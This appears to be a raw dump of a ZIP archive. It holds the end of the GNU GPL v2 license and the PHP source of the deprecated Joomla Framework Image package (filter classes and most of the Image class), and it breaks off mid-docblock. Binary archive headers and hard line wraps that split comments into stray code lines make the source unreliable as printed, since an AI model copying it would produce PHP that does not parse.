address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PKą�[�SUp�
�
#image/src/Filter/Backgroundfill.phpnu�[���<?php
/**
* Part of the Joomla Framework Image Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Image\Filter;
use InvalidArgumentException;
use Joomla\Image\ImageFilter;
/**
* Image Filter class fill background with color;
*
* @since 1.0
* @deprecated The joomla/image package is deprecated
*/
class Backgroundfill extends ImageFilter
{
/**
* Method to apply a background color to an image resource.
*
* @param array $options An array of options for the filter.
* color Background matte color
*
* @return void
*
* @since 1.0
* @throws InvalidArgumentException
*/
public function execute(array $options = array())
{
// Validate that the color value exists and is an integer.
if (!isset($options['color']))
{
throw new InvalidArgumentException('No color value was given.
Expected string or array.');
}
$colorCode = (!empty($options['color'])) ?
$options['color'] : null;
// Get resource dimensions
$width = imagesx($this->handle);
$height = imagesy($this->handle);
// Sanitize color
$rgba = $this->sanitizeColor($colorCode);
// Enforce alpha on source image
if (imageistruecolor($this->handle))
{
imagealphablending($this->handle, false);
imagesavealpha($this->handle, true);
}
// Create background
$bg = imagecreatetruecolor($width, $height);
imagesavealpha($bg, empty($rgba['alpha']));
// Allocate background color.
$color = imagecolorallocatealpha($bg, $rgba['red'],
$rgba['green'], $rgba['blue'],
$rgba['alpha']);
// Fill background
imagefill($bg, 0, 0, $color);
// Apply image over background
imagecopy($bg, $this->handle, 0, 0, 0, 0, $width, $height);
// Move flattened result onto curent handle.
// If handle was palette-based, it'll stay like that.
imagecopy($this->handle, $bg, 0, 0, 0, 0, $width, $height);
// Free up memory
imagedestroy($bg);
}
/**
* Method to sanitize color values
* and/or convert to an array
*
* @param mixed $input Associative array of colors and alpha,
* or hex RGBA string when alpha FF is opaque.
* Defaults to black and opaque alpha
*
* @return array Associative array of red, green, blue and alpha
*
* @since 1.0
*
* @note '#FF0000FF' returns an array with alpha of 0
(opaque)
*/
protected function sanitizeColor($input)
{
// Construct default values
$colors = array('red' => 0, 'green' => 0,
'blue' => 0, 'alpha' => 0);
// Make sure all values are in
if (\is_array($input))
{
$colors = array_merge($colors, $input);
}
elseif (\is_string($input))
{
// Convert RGBA 6-9 char string
$hex = ltrim($input, '#');
$hexValues = array(
'red' => substr($hex, 0, 2),
'green' => substr($hex, 2, 2),
'blue' => substr($hex, 4, 2),
'alpha' => substr($hex, 6, 2),
);
$colors = array_map('hexdec', $hexValues);
// Convert Alpha to 0..127 when provided
if (\strlen($hex) > 6)
{
$colors['alpha'] = floor((255 - $colors['alpha']) /
2);
}
}
else
{
// Cannot sanitize such type
return $colors;
}
// Make sure each value is within the allowed range
foreach ($colors as &$value)
{
$value = max(0, min(255, (int) $value));
}
$colors['alpha'] = min(127, $colors['alpha']);
return $colors;
}
}
PKą�[�f���image/src/Filter/Brightness.phpnu�[���<?php
/**
* Part of the Joomla Framework Image Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Image\Filter;
use InvalidArgumentException;
use Joomla\Image\ImageFilter;
/**
* Image Filter class adjust the brightness of an image.
*
* @since 1.0
* @deprecated The joomla/image package is deprecated
*/
class Brightness extends ImageFilter
{
/**
* Method to apply a filter to an image resource.
*
* @param array $options An array of options for the filter.
*
* @return void
*
* @since 1.0
* @throws InvalidArgumentException
*/
public function execute(array $options = array())
{
// Validate that the brightness value exists and is an integer.
if (!isset($options[IMG_FILTER_BRIGHTNESS]) ||
!\is_int($options[IMG_FILTER_BRIGHTNESS]))
{
throw new InvalidArgumentException('No valid brightness value was
given. Expected integer.');
}
// Perform the brightness filter.
imagefilter($this->handle, IMG_FILTER_BRIGHTNESS,
$options[IMG_FILTER_BRIGHTNESS]);
}
}
PKą�[�=c�uuimage/src/Filter/Contrast.phpnu�[���<?php
/**
* Part of the Joomla Framework Image Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Image\Filter;
use InvalidArgumentException;
use Joomla\Image\ImageFilter;
/**
* Image Filter class adjust the contrast of an image.
*
* @since 1.0
* @deprecated The joomla/image package is deprecated
*/
class Contrast extends ImageFilter
{
/**
* Method to apply a filter to an image resource.
*
* @param array $options An array of options for the filter.
*
* @return void
*
* @since 1.0
* @throws InvalidArgumentException
*/
public function execute(array $options = array())
{
// Validate that the contrast value exists and is an integer.
if (!isset($options[IMG_FILTER_CONTRAST]) ||
!\is_int($options[IMG_FILTER_CONTRAST]))
{
throw new InvalidArgumentException('No valid contrast value was
given. Expected integer.');
}
// Perform the contrast filter.
imagefilter($this->handle, IMG_FILTER_CONTRAST,
$options[IMG_FILTER_CONTRAST]);
}
}
PKą�[e�E$$image/src/Filter/Edgedetect.phpnu�[���<?php
/**
* Part of the Joomla Framework Image Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Image\Filter;
use Joomla\Image\ImageFilter;
/**
* Image Filter class to add an edge detect effect to an image.
*
* @since 1.0
* @deprecated The joomla/image package is deprecated
*/
class Edgedetect extends ImageFilter
{
/**
* Method to apply a filter to an image resource.
*
* @param array $options An array of options for the filter.
*
* @return void
*
* @since 1.0
*/
public function execute(array $options = array())
{
// Perform the edge detection filter.
imagefilter($this->handle, IMG_FILTER_EDGEDETECT);
}
}
PKą�[�
��image/src/Filter/Emboss.phpnu�[���<?php
/**
* Part of the Joomla Framework Image Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Image\Filter;
use Joomla\Image\ImageFilter;
/**
* Image Filter class to emboss an image.
*
* @since 1.0
* @deprecated The joomla/image package is deprecated
*/
class Emboss extends ImageFilter
{
/**
* Method to apply a filter to an image resource.
*
* @param array $options An array of options for the filter.
*
* @return void
*
* @since 1.0
*/
public function execute(array $options = array())
{
// Perform the emboss filter.
imagefilter($this->handle, IMG_FILTER_EMBOSS);
}
}
PKą�[��image/src/Filter/Grayscale.phpnu�[���<?php
/**
* Part of the Joomla Framework Image Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Image\Filter;
use Joomla\Image\ImageFilter;
/**
* Image Filter class to transform an image to grayscale.
*
* @since 1.0
* @deprecated The joomla/image package is deprecated
*/
class Grayscale extends ImageFilter
{
/**
* Method to apply a filter to an image resource.
*
* @param array $options An array of options for the filter.
*
* @return void
*
* @since 1.0
*/
public function execute(array $options = array())
{
// Perform the grayscale filter.
imagefilter($this->handle, IMG_FILTER_GRAYSCALE);
}
}
PK�[*W��image/src/Filter/Negate.phpnu�[���<?php
/**
* Part of the Joomla Framework Image Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Image\Filter;
use Joomla\Image\ImageFilter;
/**
* Image Filter class to negate the colors of an image.
*
* @since 1.0
* @deprecated The joomla/image package is deprecated
*/
class Negate extends ImageFilter
{
/**
* Method to apply a filter to an image resource.
*
* @param array $options An array of options for the filter.
*
* @return void
*
* @since 1.0
*/
public function execute(array $options = array())
{
// Perform the negative filter.
imagefilter($this->handle, IMG_FILTER_NEGATE);
}
}
PK�[�LEimage/src/Filter/Sketchy.phpnu�[���<?php
/**
* Part of the Joomla Framework Image Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Image\Filter;
use Joomla\Image\ImageFilter;
/**
* Image Filter class to make an image appear "sketchy".
*
* @since 1.0
* @deprecated The joomla/image package is deprecated
*/
class Sketchy extends ImageFilter
{
/**
* Method to apply a filter to an image resource.
*
* @param array $options An array of options for the filter.
*
* @return void
*
* @since 1.0
*/
public function execute(array $options = array())
{
// Perform the sketchy filter.
imagefilter($this->handle, IMG_FILTER_MEAN_REMOVAL);
}
}
PKŅ�[җ��ppimage/src/Filter/Smooth.phpnu�[���<?php
/**
* Part of the Joomla Framework Image Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Image\Filter;
use InvalidArgumentException;
use Joomla\Image\ImageFilter;
/**
* Image Filter class adjust the smoothness of an image.
*
* @since 1.0
* @deprecated The joomla/image package is deprecated
*/
class Smooth extends ImageFilter
{
/**
* Method to apply a filter to an image resource.
*
* @param array $options An array of options for the filter.
*
* @return void
*
* @since 1.0
* @throws InvalidArgumentException
*/
public function execute(array $options = array())
{
// Validate that the smoothing value exists and is an integer.
if (!isset($options[IMG_FILTER_SMOOTH]) ||
!\is_int($options[IMG_FILTER_SMOOTH]))
{
throw new InvalidArgumentException('No valid smoothing value was
given. Expected integer.');
}
// Perform the smoothing filter.
imagefilter($this->handle, IMG_FILTER_SMOOTH,
$options[IMG_FILTER_SMOOTH]);
}
}
PK�[�^M(|(|image/src/Image.phpnu�[���<?php
/**
* Part of the Joomla Framework Image Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Image;
use Psr\Log\LoggerAwareInterface;
use Psr\Log\LoggerInterface;
use Psr\Log\NullLogger;
/**
* Class to manipulate an image.
*
* @since 1.0
* @deprecated The joomla/image package is deprecated
*/
class Image implements LoggerAwareInterface
{
/**
* @const integer
* @since 1.0
*/
const SCALE_FILL = 1;
/**
* @const integer
* @since 1.0
*/
const SCALE_INSIDE = 2;
/**
* @const integer
* @since 1.0
*/
const SCALE_OUTSIDE = 3;
/**
* @const integer
* @since 1.0
*/
const CROP = 4;
/**
* @const integer
* @since 1.0
*/
const CROP_RESIZE = 5;
/**
* @const integer
* @since 1.0
*/
const SCALE_FIT = 6;
/**
* @const string
* @since 1.2.0
*/
const ORIENTATION_LANDSCAPE = 'landscape';
/**
* @const string
* @since 1.2.0
*/
const ORIENTATION_PORTRAIT = 'portrait';
/**
* @const string
* @since 1.2.0
*/
const ORIENTATION_SQUARE = 'square';
/**
* @var resource|\GdImage The image resource handle.
* @since 1.0
*/
protected $handle;
/**
* @var string The source image path.
* @since 1.0
*/
protected $path;
/**
* @var array Whether or not different image formats are supported.
* @since 1.0
*/
protected static $formats = array();
/**
* @var LoggerInterface Logger object
* @since 1.0
*/
protected $logger;
/**
* @var boolean Flag if an image should use the best quality
available. Disable for improved performance.
* @since 1.4.0
*/
protected $generateBestQuality = true;
/**
* Class constructor.
*
* @param mixed $source Either a file path for a source image or a GD
resource handler for an image.
*
* @since 1.0
* @throws \RuntimeException
*/
public function __construct($source = null)
{
// Verify that GD support for PHP is available.
if (!\extension_loaded('gd'))
{
// @codeCoverageIgnoreStart
throw new \RuntimeException('The GD extension for PHP is not
available.');
// @codeCoverageIgnoreEnd
}
// Determine which image types are supported by GD, but only once.
if (!isset(static::$formats[IMAGETYPE_JPEG]))
{
$info = gd_info();
static::$formats[IMAGETYPE_JPEG] = ($info['JPEG Support']) ?
true : false;
static::$formats[IMAGETYPE_PNG] = ($info['PNG Support']) ?
true : false;
static::$formats[IMAGETYPE_GIF] = ($info['GIF Read Support'])
? true : false;
}
// If the source input is a resource, set it as the image handle.
if ($this->isValidImage($source))
{
$this->handle = &$source;
}
elseif (!empty($source) && \is_string($source))
{
// If the source input is not empty, assume it is a path and populate
the image handle.
$this->loadFile($source);
}
}
/**
* Get the image resource handle
*
* @return resource
*
* @since 1.3.0
* @throws \LogicException if an image has not been loaded into the
instance
*/
public function getHandle()
{
// Make sure the resource handle is valid.
if (!$this->isLoaded())
{
throw new \LogicException('No valid image was loaded.');
}
return $this->handle;
}
/**
* Get the logger.
*
* @return LoggerInterface
*
* @since 1.0
*/
public function getLogger()
{
// If a logger hasn't been set, use NullLogger
if (! ($this->logger instanceof LoggerInterface))
{
$this->logger = new NullLogger;
}
return $this->logger;
}
/**
* Sets a logger instance on the object
*
* @param LoggerInterface $logger A PSR-3 compliant logger.
*
* @return Image This object for message chaining.
*
* @since 1.0
*/
public function setLogger(LoggerInterface $logger)
{
$this->logger = $logger;
return $this;
}
/**
* Method to return a properties object for an image given a filesystem
path.
*
* The result object has values for image width, height, type, attributes,
mime type, bits, and channels.
*
* @param string $path The filesystem path to the image for which to
get properties.
*
* @return \stdClass
*
* @since 1.0
* @throws \InvalidArgumentException
* @throws \RuntimeException
*/
public static function getImageFileProperties($path)
{
// Make sure the file exists.
if (!file_exists($path))
{
throw new \InvalidArgumentException('The image file does not
exist.');
}
// Get the image file information.
$info = getimagesize($path);
if (!$info)
{
// @codeCoverageIgnoreStart
throw new \RuntimeException('Unable to get properties for the
image.');
// @codeCoverageIgnoreEnd
}
// Build the response object.
$properties = (object) array(
'width' => $info[0],
'height' => $info[1],
'type' => $info[2],
'attributes' => $info[3],
'bits' => isset($info['bits']) ?
$info['bits'] : null,
'channels' => isset($info['channels']) ?
$info['channels'] : null,
'mime' => $info['mime'],
'filesize' => filesize($path),
'orientation' => self::getOrientationString((int) $info[0],
(int) $info[1]),
);
return $properties;
}
/**
* Method to detect whether an image's orientation is landscape,
portrait or square.
*
* The orientation will be returned as a string.
*
* @return mixed Orientation string or null.
*
* @since 1.2.0
*/
public function getOrientation()
{
if ($this->isLoaded())
{
return self::getOrientationString($this->getWidth(),
$this->getHeight());
}
}
/**
* Compare width and height integers to determine image orientation.
*
* @param integer $width The width value to use for calculation
* @param integer $height The height value to use for calculation
*
* @return string Orientation string
*
* @since 1.2.0
*/
private static function getOrientationString($width, $height)
{
switch (true)
{
case $width > $height :
return self::ORIENTATION_LANDSCAPE;
case $width < $height :
return self::ORIENTATION_PORTRAIT;
default:
return self::ORIENTATION_SQUARE;
}
}
/**
* Method to generate thumbnails from the current image. It allows
* creation by resizing or cropping the original image.
*
* @param mixed $thumbSizes String or array of strings. Example:
$thumbSizes = array('150x75','250x150');
* @param integer $creationMethod 1-3 resize $scaleMethod | 4 create
cropping | 5 resize then crop
*
* @return array
*
* @since 1.0
* @throws \LogicException
* @throws \InvalidArgumentException
*/
public function generateThumbs($thumbSizes, $creationMethod =
self::SCALE_INSIDE)
{
// Make sure the resource handle is valid.
if (!$this->isLoaded())
{
throw new \LogicException('No valid image was loaded.');
}
// Accept a single thumbsize string as parameter
if (!\is_array($thumbSizes))
{
$thumbSizes = array($thumbSizes);
}
// Process thumbs
$generated = array();
if (!empty($thumbSizes))
{
foreach ($thumbSizes as $thumbSize)
{
// Desired thumbnail size
$size = explode('x', strtolower($thumbSize));
if (\count($size) != 2)
{
throw new \InvalidArgumentException('Invalid thumb size received:
' . $thumbSize);
}
$thumbWidth = $size[0];
$thumbHeight = $size[1];
switch ($creationMethod)
{
// Crop
case self::CROP:
$thumb = $this->crop($thumbWidth, $thumbHeight, null, null, true);
break;
// Crop-resize
case self::CROP_RESIZE:
$thumb = $this->cropResize($thumbWidth, $thumbHeight, true);
break;
default:
$thumb = $this->resize($thumbWidth, $thumbHeight, true,
$creationMethod);
break;
}
// Store the thumb in the results array
$generated[] = $thumb;
}
}
return $generated;
}
/**
* Method to create thumbnails from the current image and save them to
disk. It allows creation by resizing
* or cropping the original image.
*
* @param mixed $thumbSizes string or array of strings. Example:
$thumbSizes = array('150x75','250x150');
* @param integer $creationMethod 1-3 resize $scaleMethod | 4 create
cropping
* @param string $thumbsFolder destination thumbs folder. null
generates a thumbs folder in the image folder
*
* @return array
*
* @since 1.0
* @throws \LogicException
* @throws \InvalidArgumentException
*/
public function createThumbs($thumbSizes, $creationMethod =
self::SCALE_INSIDE, $thumbsFolder = null)
{
// Make sure the resource handle is valid.
if (!$this->isLoaded())
{
throw new \LogicException('No valid image was loaded.');
}
// No thumbFolder set -> we will create a thumbs folder in the current
image folder
if ($thumbsFolder === null)
{
$thumbsFolder = \dirname($this->getPath()) . '/thumbs';
}
// Check destination
if (!is_dir($thumbsFolder) && (!is_dir(\dirname($thumbsFolder))
|| !@mkdir($thumbsFolder)))
{
throw new \InvalidArgumentException('Folder does not exist and
cannot be created: ' . $thumbsFolder);
}
// Process thumbs
$thumbsCreated = array();
if ($thumbs = $this->generateThumbs($thumbSizes, $creationMethod))
{
// Parent image properties
$imgProperties = static::getImageFileProperties($this->getPath());
foreach ($thumbs as $thumb)
{
// Get thumb properties
$thumbWidth = $thumb->getWidth();
$thumbHeight = $thumb->getHeight();
// Generate thumb name
$filename = pathinfo($this->getPath(), PATHINFO_FILENAME);
$fileExtension = pathinfo($this->getPath(), PATHINFO_EXTENSION);
$thumbFileName = $filename . '_' . $thumbWidth .
'x' . $thumbHeight . '.' . $fileExtension;
// Save thumb file to disk
$thumbFileName = $thumbsFolder . '/' . $thumbFileName;
if ($thumb->toFile($thumbFileName, $imgProperties->type))
{
// Return Image object with thumb path to ease further manipulation
$thumb->path = $thumbFileName;
$thumbsCreated[] = $thumb;
}
}
}
return $thumbsCreated;
}
/**
* Method to crop the current image.
*
* @param mixed $width The width of the image section to crop in
pixels or a percentage.
* @param mixed $height The height of the image section to crop
in pixels or a percentage.
* @param integer $left The number of pixels from the left to
start cropping.
* @param integer $top The number of pixels from the top to
start cropping.
* @param boolean $createNew If true the current image will be cloned,
cropped and returned; else
* the current image will be cropped and
returned.
*
* @return Image
*
* @since 1.0
* @throws \LogicException
*/
public function crop($width, $height, $left = null, $top = null,
$createNew = true)
{
// Sanitize width.
$width = $this->sanitizeWidth($width, $height);
// Sanitize height.
$height = $this->sanitizeHeight($height, $width);
// Autocrop offsets
if ($left === null)
{
$left = round(($this->getWidth() - $width) / 2);
}
if ($top === null)
{
$top = round(($this->getHeight() - $height) / 2);
}
// Sanitize left.
$left = $this->sanitizeOffset($left);
// Sanitize top.
$top = $this->sanitizeOffset($top);
// Create the new truecolor image handle.
$handle = imagecreatetruecolor($width, $height);
// Allow transparency for the new image handle.
imagealphablending($handle, false);
imagesavealpha($handle, true);
if ($this->isTransparent())
{
// Get the transparent color values for the current image.
$rgba = imagecolorsforindex($this->getHandle(),
imagecolortransparent($this->getHandle()));
$color = imagecolorallocatealpha($handle, $rgba['red'],
$rgba['green'], $rgba['blue'],
$rgba['alpha']);
// Set the transparent color values for the new image.
imagecolortransparent($handle, $color);
imagefill($handle, 0, 0, $color);
}
if (!$this->generateBestQuality)
{
imagecopyresized($handle, $this->getHandle(), 0, 0, $left, $top,
$width, $height, $width, $height);
}
else
{
imagecopyresampled($handle, $this->getHandle(), 0, 0, $left, $top,
$width, $height, $width, $height);
}
// If we are cropping to a new image, create a new Image object.
if ($createNew)
{
// @codeCoverageIgnoreStart
return new static($handle);
// @codeCoverageIgnoreEnd
}
// Swap out the current handle for the new image handle.
$this->destroy();
$this->handle = $handle;
return $this;
}
/**
* Method to apply a filter to the image by type. Two examples are:
grayscale and sketchy.
*
* @param string $type The name of the image filter to apply.
* @param array $options An array of options for the filter.
*
* @return Image
*
* @since 1.0
* @see Joomla\Image\Filter
* @throws \LogicException
*/
public function filter($type, array $options = array())
{
// Make sure the resource handle is valid.
if (!$this->isLoaded())
{
throw new \LogicException('No valid image was loaded.');
}
// Get the image filter instance.
$filter = $this->getFilterInstance($type);
// Execute the image filter.
$filter->execute($options);
return $this;
}
/**
* Method to get the height of the image in pixels.
*
* @return integer
*
* @since 1.0
* @throws \LogicException
*/
public function getHeight()
{
return imagesy($this->getHandle());
}
/**
* Method to get the width of the image in pixels.
*
* @return integer
*
* @since 1.0
* @throws \LogicException
*/
public function getWidth()
{
return imagesx($this->getHandle());
}
/**
* Method to return the path
*
* @return string
*
* @since 1.0
*/
public function getPath()
{
return $this->path;
}
/**
* Method to determine whether or not an image has been loaded into the
object.
*
* @return boolean
*
* @since 1.0
*/
public function isLoaded()
{
// Make sure the resource handle is valid.
return $this->isValidImage($this->handle);
}
/**
* Method to determine whether or not the image has transparency.
*
* @return boolean
*
* @since 1.0
* @throws \LogicException
*/
public function isTransparent()
{
return imagecolortransparent($this->getHandle()) >= 0;
}
/**
* Method to load a file into the Image object as the resource.
*
* @param string $path The filesystem path to load as an image.
*
* @return void
*
* @since 1.0
* @throws \InvalidArgumentException
* @throws \RuntimeException
*/
public function loadFile($path)
{
// Destroy the current image handle if it exists
$this->destroy();
// Make sure the file exists.
if (!file_exists($path))
{
throw new \InvalidArgumentException('The image file does not
exist.');
}
// Get the image properties.
$properties = static::getImageFileProperties($path);
// Attempt to load the image based on the MIME-Type
switch ($properties->mime)
{
case 'image/gif':
// Make sure the image type is supported.
if (empty(static::$formats[IMAGETYPE_GIF]))
{
// @codeCoverageIgnoreStart
$this->getLogger()->error('Attempting to load an image of
unsupported type GIF.');
throw new \RuntimeException('Attempting to load an image of
unsupported type GIF.');
// @codeCoverageIgnoreEnd
}
// Attempt to create the image handle.
$handle = imagecreatefromgif($path);
if (!$this->isValidImage($handle))
{
// @codeCoverageIgnoreStart
throw new \RuntimeException('Unable to process GIF image.');
// @codeCoverageIgnoreEnd
}
$this->handle = $handle;
break;
case 'image/jpeg':
// Make sure the image type is supported.
if (empty(static::$formats[IMAGETYPE_JPEG]))
{
// @codeCoverageIgnoreStart
$this->getLogger()->error('Attempting to load an image of
unsupported type JPG.');
throw new \RuntimeException('Attempting to load an image of
unsupported type JPG.');
// @codeCoverageIgnoreEnd
}
// Attempt to create the image handle.
$handle = imagecreatefromjpeg($path);
if (!$this->isValidImage($handle))
{
// @codeCoverageIgnoreStart
throw new \RuntimeException('Unable to process JPG image.');
// @codeCoverageIgnoreEnd
}
$this->handle = $handle;
break;
case 'image/png':
// Make sure the image type is supported.
if (empty(static::$formats[IMAGETYPE_PNG]))
{
// @codeCoverageIgnoreStart
$this->getLogger()->error('Attempting to load an image of
unsupported type PNG.');
throw new \RuntimeException('Attempting to load an image of
unsupported type PNG.');
// @codeCoverageIgnoreEnd
}
// Attempt to create the image handle.
$handle = imagecreatefrompng($path);
if (!$this->isValidImage($handle))
{
// @codeCoverageIgnoreStart
throw new \RuntimeException('Unable to process PNG image.');
// @codeCoverageIgnoreEnd
}
$this->handle = $handle;
break;
default:
$this->getLogger()->error('Attempting to load an image of
unsupported type ' . $properties->mime);
throw new \InvalidArgumentException('Attempting to load an image
of unsupported type ' . $properties->mime);
}
// Set the filesystem path to the source image.
$this->path = $path;
}
/**
* Method to resize the current image.
*
* @param mixed $width The width of the resized image in
pixels or a percentage.
* @param mixed $height The height of the resized image in
pixels or a percentage.
* @param boolean $createNew If true the current image will be
cloned, resized and returned; else
* the current image will be resized and
returned.
* @param integer $scaleMethod Which method to use for scaling
*
* @return Image
*
* @since 1.0
* @throws \LogicException
*/
public function resize($width, $height, $createNew = true, $scaleMethod =
self::SCALE_INSIDE)
{
// Sanitize width.
$width = $this->sanitizeWidth($width, $height);
// Sanitize height.
$height = $this->sanitizeHeight($height, $width);
// Prepare the dimensions for the resize operation.
$dimensions = $this->prepareDimensions($width, $height, $scaleMethod);
// Instantiate offset.
$offset = new \stdClass;
$offset->x = $offset->y = 0;
// Center image if needed and create the new truecolor image handle.
if ($scaleMethod == self::SCALE_FIT)
{
// Get the offsets
$offset->x = round(($width - $dimensions->width) / 2);
$offset->y = round(($height - $dimensions->height) / 2);
$handle = imagecreatetruecolor($width, $height);
// Make image transparent, otherwise canvas outside initial image would
default to black
if (!$this->isTransparent())
{
$transparency = imagecolorallocatealpha($this->getHandle(), 0, 0, 0,
127);
imagecolortransparent($this->getHandle(), $transparency);
}
}
else
{
$handle = imagecreatetruecolor($dimensions->width,
$dimensions->height);
}
// Allow transparency for the new image handle.
imagealphablending($handle, false);
imagesavealpha($handle, true);
if ($this->isTransparent())
{
// Get the transparent color values for the current image.
$rgba = imagecolorsforindex($this->getHandle(),
imagecolortransparent($this->getHandle()));
$color = imagecolorallocatealpha($handle, $rgba['red'],
$rgba['green'], $rgba['blue'],
$rgba['alpha']);
// Set the transparent color values for the new image.
imagecolortransparent($handle, $color);
imagefill($handle, 0, 0, $color);
}
if (!$this->generateBestQuality)
{
imagecopyresized(
$handle,
$this->getHandle(),
$offset->x,
$offset->y,
0,
0,
$dimensions->width,
$dimensions->height,
$this->getWidth(),
$this->getHeight()
);
}
else
{
// Use resampling for better quality
imagecopyresampled(
$handle,
$this->getHandle(),
$offset->x,
$offset->y,
0,
0,
$dimensions->width,
$dimensions->height,
$this->getWidth(),
$this->getHeight()
);
}
// If we are resizing to a new image, create a new JImage object.
if ($createNew)
{
// @codeCoverageIgnoreStart
return new static($handle);
// @codeCoverageIgnoreEnd
}
// Swap out the current handle for the new image handle.
$this->destroy();
$this->handle = $handle;
return $this;
}
/**
* Method to crop an image after resizing it to maintain
* proportions without having to do all the set up work.
*
* @param integer $width The desired width of the image in pixels
or a percentage.
* @param integer $height The desired height of the image in pixels
or a percentage.
* @param integer $createNew If true the current image will be cloned,
resized, cropped and returned.
*
* @return Image
*
* @since 1.0
*/
public function cropResize($width, $height, $createNew = true)
{
$width = $this->sanitizeWidth($width, $height);
$height = $this->sanitizeHeight($height, $width);
$resizewidth = $width;
$resizeheight = $height;
if (($this->getWidth() / $width) < ($this->getHeight() /
$height))
{
$resizeheight = 0;
}
else
{
$resizewidth = 0;
}
return $this->resize($resizewidth, $resizeheight,
$createNew)->crop($width, $height, null, null, false);
}
/**
* Method to rotate the current image.
*
* @param mixed $angle The angle of rotation for the image
* @param integer $background The background color to use when areas
are added due to rotation
* @param boolean $createNew If true the current image will be
cloned, rotated and returned; else
* the current image will be rotated and
returned.
*
* @return Image
